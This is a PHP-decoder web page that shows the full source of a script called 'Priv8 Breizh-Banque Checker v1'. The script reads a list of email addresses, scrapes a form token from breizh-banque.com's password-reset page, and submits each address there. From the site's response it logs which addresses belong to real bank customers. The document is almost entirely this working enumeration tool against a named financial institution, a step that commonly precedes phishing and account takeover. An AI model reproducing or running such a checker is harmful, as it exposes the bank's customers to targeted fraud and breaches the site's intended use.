Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?ini_set('max_execution_time', 0);ini_set('memory_limit', '500M');echo "-----------------..
Decoded Output download
-----------------------------------------------------------
| |
| | Priv8 Breizh-Banque Checker v1
| | Created By Kai-Kmi-Checker ;)
| |
-----------------------------------------------------------
| | Checker Booted ..
| | Fetching Emails ..
Did this file decode correctly?
Original Code
<?ini_set('max_execution_time', 0);ini_set('memory_limit', '500M');echo "-----------------------------------------------------------\n";echo "| | \n";echo "| | Priv8 Breizh-Banque Checker v1 \n";echo "| | Created By Kai-Kmi-Checker ;) \n";echo "| | \n";echo "-----------------------------------------------------------\n";echo "| | Checker Booted .. \n";echo "| | Fetching Emails .. \n";$BreizhBanqueChecker1=new BreizhBanqueChecker1();$MailistFetch=$BreizhBanqueChecker1->FetchFileData("Mailist.txt");echo "|+| Emails Fetched : ".count($MailistFetch)." \n";/*$BreizhBanqueChecker1->DoCheck("[email protected]");exit;*/$ValidMails=0;$WrongMails=0;foreach($MailistFetch as $MKey=> $MVal){$CheckMail=$BreizhBanqueChecker1->DoCheck(trim($MVal));if($CheckMail['OperResult']=='ValidEmail'){$BreizhBanqueChecker1->SaveDataAsFile('ValidEmail.txt',trim($MVal));echo "|.| Email [Valid] : ".trim($MVal)." \n";$ValidMails++;}else{$BreizhBanqueChecker1->SaveDataAsFile('WrongEmail.txt',trim($MVal));echo "|.| Email [Wrong] : ".trim($MVal)." \n";$WrongMails++;}}echo "|.| Valid Emails : ".$ValidMails." \n";echo "|.| Wrong Emails : ".$WrongMails." \n";echo "|!| Exit iChecker ! \n";echo "| |\n";echo "-----------------------------------------------------------\n";class BreizhBanqueChecker1{public function DoCheck($Email){$Args=array();$Args['targetURL']='https://www.breizh-banque.com/users/password/new';$Args['ref']='https://www.breizh-banque.com/privileges-societaires/mon-espace-privileges';$ResponseData=$this->FetchURL($Args);$authenticity_token=$this->FetchData('name="authenticity_token" type="hidden" value="','"',$ResponseData);$Args=array();$Args['targetURL']='https://www.breizh-banque.com/users/password';$Args['ref']='https://www.breizh-banque.com/users/password/new';$Args['pdts']=array();$Args['pdts']['user[email]']=trim($Email);$Args['pdts']['utf8']='';$Args['pdts']['authenticity_token']=$authenticity_token;$Args['pdts']['commit']="Envoyer+l'e-mail+de+renouvellement+de+mot+de+passe";$Args['hdts']=array();$Args['hdts']['Content-Type']='application/x-www-form-urlencoded';$ResponseData=$this->FetchURL($Args);if(!preg_match("/a pas t trouv\(e\)/is",$ResponseData)){$CheckResult['Statu']=true;$CheckResult['OperResult']='ValidEmail';$CheckResult['Email']=trim($Email);}else{$CheckResult['Statu']=false;$CheckResult['OperResult']='WrongEmail';$CheckResult['Email']=trim($Email);}unlink(dirname(__file__).'/cookiefls_'.md5(__file__).'.txt');return $CheckResult;}private function FetchURL($Params){$hndSess=curl_init($Params['targetURL']);curl_setopt($hndSess, CURLOPT_RETURNTRANSFER, 1);curl_setopt($hndSess, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($hndSess, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($hndSess, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($hndSess, CURLOPT_HEADER, 1);if(!empty($Params['pdts'])){foreach($Params['pdts'] as $TpKey=> $TpVal){$TpVal=urlencode($TpVal);$PstDt .="{$TpKey}={$TpVal}&";}$PstDt=rtrim($PstDt,"&");curl_setopt($hndSess, CURLOPT_POST, 1);curl_setopt($hndSess, CURLOPT_POSTFIELDS, $PstDt);}curl_setopt($hndSess, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0');if(!empty($Params['ref'])){curl_setopt ($hndSess, CURLOPT_REFERER, $Params['ref']);}if(!empty($Params['hdts'])){$header=&$Params['hdts'];curl_setopt($hndSess, CURLOPT_HTTPHEADER, $header);}curl_setopt($hndSess, CURLOPT_COOKIEFILE, dirname(__file__).'/cookiefls_'.md5(__file__).'.txt');curl_setopt($hndSess, CURLOPT_COOKIEJAR, dirname(__file__).'/cookiefls_'.md5(__file__).'.txt');$GetedDt=curl_exec($hndSess);/*$SvData=fopen("Verifty.html",'w');fwrite($SvData,$GetedDt);fclose($SvData);*/curl_close($hndSess);return $GetedDt;}public function FetchFileData($FileName){$FileSrc=file_get_contents($FileName);$FileClean=str_ireplace("\n","|",$FileSrc);$FileClean=str_ireplace("\r","|",$FileClean);$FileClean=str_ireplace("||","|",$FileClean);$FileClean=str_ireplace("|","[NEWLINE]",$FileClean);$FileSplit=explode("[NEWLINE]",$FileClean);return $FileSplit;}public function SaveDataAsFile($RFile,$FetchedDatas){$SvData=fopen($RFile,'a');fwrite($SvData,$FetchedDatas."\n");fclose($SvData);}public function FetchData($Start,$End,$Str){$DataSplit=explode($Start,$Str);$DataClean=explode($End,$DataSplit[1]);$Data=trim($DataClean[0]);return $Data;}}?>
Function Calls
| ini_set | 2 |
Stats
| MD5 | c07f5077fae54c6af0a6b3bdfeed76b0 |
| Eval Count | 0 |
| Decode Time | 98 ms |